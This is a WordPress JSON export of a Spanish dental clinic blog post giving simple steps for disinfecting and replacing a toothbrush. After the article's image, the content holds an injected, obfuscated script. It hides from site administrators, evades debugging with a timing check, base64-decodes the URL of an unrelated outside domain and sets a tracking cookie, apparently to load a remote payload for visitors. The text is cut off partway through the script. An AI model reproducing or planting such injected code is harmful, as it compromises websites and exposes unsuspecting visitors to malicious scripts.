{"id":29219,"date":"2021-06-23T12:32:27","date_gmt":"2021-06-23T10:32:27","guid":{"rendered":"https:\/\/www.centredentalcise.com\/?p=29219"},"modified":"2026-06-03T19:37:02","modified_gmt":"2026-06-03T17:37:02","slug":"higiene-del-raspall-de-dents","status":"publish","type":"post","link":"https:\/\/centredentalcise.com\/es\/higiene-del-raspall-de-dents\/","title":{"rendered":"Higiene del cepillo de dientes"},"content":{"rendered":"<p><\/p>\n<h3>\u00bfSab\u00edas lo importante que es mantener una buena higiene de tu cepillo de dientes?<\/h3>\n<p style=\"text-align: justify;\">Una buena higiene dental es sin\u00f3nimo de prevenci\u00f3n de enfermedades, tanto bucales (cavidad bucal, enc\u00edas y dientes) como sist\u00e9micas (infartos cardiacos, ictus&#8230;)<\/p>\n<p>Te lavas los dientes a diario, el tiempo necesario, pero\u2026 cuidas bien tu cepillo de dientes?<br \/>\nTe proponemos unos pasos sencillos para la desinfecci\u00f3n del cepillo dental:<\/p>\n<p>1- Sumergir el cabezal durante al menos 2 minutos en:<\/p>\n<ul>\n<li>Agua oxigenada diluida al 1%<\/li>\n<li>Cloruro de Cetilpiridino (CPC) Veras que varios colutorios incorporan este componente.<\/li>\n<\/ul>\n<p>2- Dejar secar al aire libre (no colocar el capuch\u00f3n) y sin que toque con otros cepillos dentales.<\/p>\n<p>3- Cambiar el cepillo despu\u00e9s de haber pasado un resfriado\/gripe y\/o cada 3 meses.<\/p>\n<h3>Ahora\u2026 \u00a1a ponerlo en pr\u00e1ctica!<\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-29243 size-full\" title=\"Centre Dental Cise - Figueres - Higiene del cepillo de dientes\" src=\"https:\/\/www.centredentalcise.com\/wp-content\/uploads\/2021\/06\/Centre-Dental-Cise-Figueres-Higiene-del-raspall-de-dents.jpg\" alt=\"Centre Dental Cise - Figueres - Higiene del cepillo de dientes\" width=\"960\" height=\"639\" srcset=\"https:\/\/centredentalcise.com\/wp-content\/uploads\/2021\/06\/Centre-Dental-Cise-Figueres-Higiene-del-raspall-de-dents.jpg 960w, https:\/\/centredentalcise.com\/wp-content\/uploads\/2021\/06\/Centre-Dental-Cise-Figueres-Higiene-del-raspall-de-dents-300x200.jpg 300w, https:\/\/centredentalcise.com\/wp-content\/uploads\/2021\/06\/Centre-Dental-Cise-Figueres-Higiene-del-raspall-de-dents-150x100.jpg 150w, https:\/\/centredentalcise.com\/wp-content\/uploads\/2021\/06\/Centre-Dental-Cise-Figueres-Higiene-del-raspall-de-dents-768x511.jpg 768w\" sizes=\"auto, (max-width: 960px) 100vw, 960px\" \/><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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